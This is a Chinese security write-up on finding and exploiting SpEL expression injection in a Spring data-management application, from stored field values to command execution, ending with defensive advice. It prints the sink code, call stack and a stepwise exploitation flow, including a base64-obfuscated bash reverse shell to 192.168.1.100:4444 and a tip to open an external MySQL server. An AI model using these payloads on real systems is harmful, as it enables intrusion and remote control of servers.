SPEL 漏洞挖掘之从sql插入到命令执行的奇思妙想
字数 1411 2025-09-23 19:27:38

SPEL 漏洞挖掘:从 SQL 插入到命令执行的深入分析与利用

一、SPEL 表达式注入漏洞概述

Spring Expression Language(SPEL)是 Spring 框架提供的表达式语言,用于在运行时查询和操作对象图。当应用程序使用 StandardEvaluationContext 而非安全的 SimpleEvaluationContext 时,如果用户能够控制输入内容,就可能造成任意代码执行。

风险核心

  • StandardEvaluationContext 支持全部 SPEL 语法,包括 Java 类型引用、构造函数和 bean 引用
  • SimpleEvaluationContext 仅支持 SPEL 语法子集,更安全
  • SPEL 表达式可通过类类型表达式 T(Type) 调用任意类方法

二、漏洞代码示例

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class test_Class {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp1 = parser.parseExpression("T(Runtime).getRuntime().exec(\"calc\")");
        Object obj = exp1.getValue();
        System.out.println(obj);
    }
}

三、漏洞挖掘与定位

1. Sink 点识别

寻找使用 SpelExpressionParser 解析表达式的位置:

protected Object evaluateVariableExpression(Connection cn, Table table, Column column, String value,
        NameExpression expression, ExpressionEvaluationContext expressionEvaluationContext,
        List<Object> expressionValues) throws Throwable {
    
    Object expValue;
    org.springframework.expression.Expression spelExpression = null;
    
    try {
        // 漏洞点:直接解析用户控制的表达式内容
        spelExpression = this.spelExpressionParser.parseExpression(expression.getContent());
    } catch (Throwable t) {
        // 异常处理逻辑
    }
    
    try {
        // 执行表达式
        expValue = spelExpression.getValue(expressionEvaluationContext.getVariableExpressionBean());
    } catch (Throwable t) {
        // 异常处理逻辑
    }
    
    expressionValues.add(expValue);
    expressionEvaluationContext.putCachedValue(expression, expValue);
    return expValue;
}

2. 调用栈分析

evaluateVariableExpression:324, ConversionSqlParamValueMapper
evaluateVariableExpressions:304, ConversionSqlParamValueMapper
resolveExpressionIf:253, ConversionSqlParamValueMapper
map:209, ConversionSqlParamValueMapper
mapToSqlParamValue:637, DefaultPersistenceManager
buildUniqueRecordCondition:548, DefaultPersistenceManager
get:350, DefaultPersistenceManager
execute:484, DataController$10
doExecute:207, AbstractSchemaConnTableController$VoidSchemaConnTableExecutor
view:492, DataController
doFilter:94, AnonymousAuthenticationFilterExt
doFilter:122, LoginLatchFilter

3. Source 点定位

控制器端点:

@RequestMapping("/{schemaId}/{tableName}/view")
public String view(HttpServletRequest request, HttpServletResponse response,
        org.springframework.ui.Model springModel, @PathVariable("schemaId") String schemaId,
        @PathVariable("tableName") String tableName, @RequestBody Map<String, ?> paramData) throws Throwable {
    
    final User user = WebUtils.getUser();
    final Row row = convertToRow(paramData); // 用户可控数据
    // ... 后续处理
}

四、漏洞利用条件分析

1. 表达式格式要求

只有符合特定格式的输入才会被识别为表达式进行处理:

  • 表达式格式示例:${expression}
  • 系统通过 resolveNameExpressions 方法处理输入
  • 只有匹配特定模式的内容才会被解析为表达式

2. 长度限制绕过技术

方法一:利用数据库字段长度限制差异

  1. 分析数据库表结构,寻找长度限制较宽的字段
  2. 通过数据库管理工具查看字段类型和长度限制
  3. 选择足够长的字段注入 SPEL 表达式
  4. 示例:发现 address 字段长度足够,注入恶意表达式

方法二:外部数据库连接绕过

  1. 搭建外部 MySQL 数据库:
    • 修改 /etc/mysql/mysql.conf.d/mysqld.cnf
      bind-address = 0.0.0.0
      
    • 创建远程访问用户:
      CREATE USER 'your_user'@'%' IDENTIFIED BY 'your_password';
      GRANT ALL PRIVILEGES ON *.* TO 'your_user'@'%';
      
  2. 创建测试表并设置足够长的字段
  3. 通过应用程序连接外部数据库
  4. 在长字段中注入 SPEL 表达式

五、完整利用流程

步骤 1:识别注入点

  • 找到接受用户输入并最终传递到 evaluateVariableExpression 的功能点
  • 通常出现在数据查看、编辑或保存功能中

步骤 2:构造恶意表达式

// 计算器执行示例
T(Runtime).getRuntime().exec("calc")

// 反向shell示例(需根据环境调整)
T(Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}")

步骤 3:绕过长度限制

  • 方法一:利用现有表中长度足够的字段
  • 方法二:通过外部数据库创建包含长字段的表

步骤 4:触发表达式执行

  • 访问数据查看页面:/{schemaId}/{tableName}/view
  • 确保包含恶意表达式的记录被查询和显示
  • 观察命令执行结果

六、防御建议

1. 使用安全的 EvaluationContext

// 不安全的用法
StandardEvaluationContext context = new StandardEvaluationContext();

// 安全的用法
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();

2. 输入验证和过滤

  • 对用户输入进行严格的格式验证
  • 过滤或转义特殊字符和表达式语法

3. 最小权限原则

  • 数据库用户应遵循最小权限原则
  • 禁止不必要的数据库操作权限

4. 表达式白名单

  • 限制可执行的表达式类型和内容
  • 实施表达式内容安全检查

七、总结

本漏洞利用的关键在于:

  1. 识别 SPEL 表达式注入的 sink 点
  2. 追踪用户输入到漏洞点的数据流
  3. 绕过输入长度限制的两种方法:
    • 利用现有数据库字段长度差异
    • 通过外部数据库创建自定义表结构
  4. 构造并执行恶意 SPEL 表达式实现命令执行

这种漏洞挖掘过程体现了安全研究人员需要具备的创造性思维和 persistence(持久性),在遇到限制时不断寻找新的突破方法。

SPEL 漏洞挖掘:从 SQL 插入到命令执行的深入分析与利用 一、SPEL 表达式注入漏洞概述 Spring Expression Language(SPEL)是 Spring 框架提供的表达式语言,用于在运行时查询和操作对象图。当应用程序使用 StandardEvaluationContext 而非安全的 SimpleEvaluationContext 时,如果用户能够控制输入内容,就可能造成任意代码执行。 风险核心 StandardEvaluationContext 支持全部 SPEL 语法,包括 Java 类型引用、构造函数和 bean 引用 SimpleEvaluationContext 仅支持 SPEL 语法子集,更安全 SPEL 表达式可通过类类型表达式 T(Type) 调用任意类方法 二、漏洞代码示例 三、漏洞挖掘与定位 1. Sink 点识别 寻找使用 SpelExpressionParser 解析表达式的位置: 2. 调用栈分析 3. Source 点定位 控制器端点: 四、漏洞利用条件分析 1. 表达式格式要求 只有符合特定格式的输入才会被识别为表达式进行处理: 表达式格式示例: ${expression} 系统通过 resolveNameExpressions 方法处理输入 只有匹配特定模式的内容才会被解析为表达式 2. 长度限制绕过技术 方法一:利用数据库字段长度限制差异 分析数据库表结构,寻找长度限制较宽的字段 通过数据库管理工具查看字段类型和长度限制 选择足够长的字段注入 SPEL 表达式 示例:发现 address 字段长度足够,注入恶意表达式 方法二:外部数据库连接绕过 搭建外部 MySQL 数据库: 修改 /etc/mysql/mysql.conf.d/mysqld.cnf : 创建远程访问用户: 创建测试表并设置足够长的字段 通过应用程序连接外部数据库 在长字段中注入 SPEL 表达式 五、完整利用流程 步骤 1:识别注入点 找到接受用户输入并最终传递到 evaluateVariableExpression 的功能点 通常出现在数据查看、编辑或保存功能中 步骤 2:构造恶意表达式 步骤 3:绕过长度限制 方法一:利用现有表中长度足够的字段 方法二:通过外部数据库创建包含长字段的表 步骤 4:触发表达式执行 访问数据查看页面: /{schemaId}/{tableName}/view 确保包含恶意表达式的记录被查询和显示 观察命令执行结果 六、防御建议 1. 使用安全的 EvaluationContext 2. 输入验证和过滤 对用户输入进行严格的格式验证 过滤或转义特殊字符和表达式语法 3. 最小权限原则 数据库用户应遵循最小权限原则 禁止不必要的数据库操作权限 4. 表达式白名单 限制可执行的表达式类型和内容 实施表达式内容安全检查 七、总结 本漏洞利用的关键在于: 识别 SPEL 表达式注入的 sink 点 追踪用户输入到漏洞点的数据流 绕过输入长度限制的两种方法: 利用现有数据库字段长度差异 通过外部数据库创建自定义表结构 构造并执行恶意 SPEL 表达式实现命令执行 这种漏洞挖掘过程体现了安全研究人员需要具备的创造性思维和 persistence(持久性),在遇到限制时不断寻找新的突破方法。